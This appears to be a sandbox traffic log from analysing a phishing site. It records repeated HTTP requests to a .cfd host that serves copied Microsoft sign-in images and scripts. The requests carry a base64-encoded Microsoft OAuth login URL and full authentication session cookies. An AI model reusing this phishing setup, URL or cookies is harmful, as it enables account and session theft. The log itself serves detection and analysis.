https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_76bb127b5869a5c6b8b3.js HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
